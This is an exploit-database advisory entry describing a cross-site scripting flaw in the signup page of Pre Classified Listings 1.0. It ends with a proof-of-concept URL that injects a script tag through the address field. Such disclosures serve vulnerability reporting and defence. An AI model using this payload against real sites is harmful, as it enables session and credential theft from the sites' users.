Pre Classified Listings 1.0 - 'signup.asp' Cross-Site Scripting

EDB-ID:

32610


Platform:

ASP

Published:

2008-12-01

source: http://www.securityfocus.com/bid/32567/info

Pre Classified Listings is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

All versions are considered vulnerable. 

http://www.example.com/[Path]/home/signup.asp?full_name=pouya.s3rver@gmail.com&email=111-222-1933email@address.tst&pass=111-222-1933email@address.tst&address=&lt;/textarea&gt;<ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>&phone=111-222-1933email@address.com&state=0&hide_email=on&url_add=111-222-1933email@address.tst&Submit=SignUp&addit=start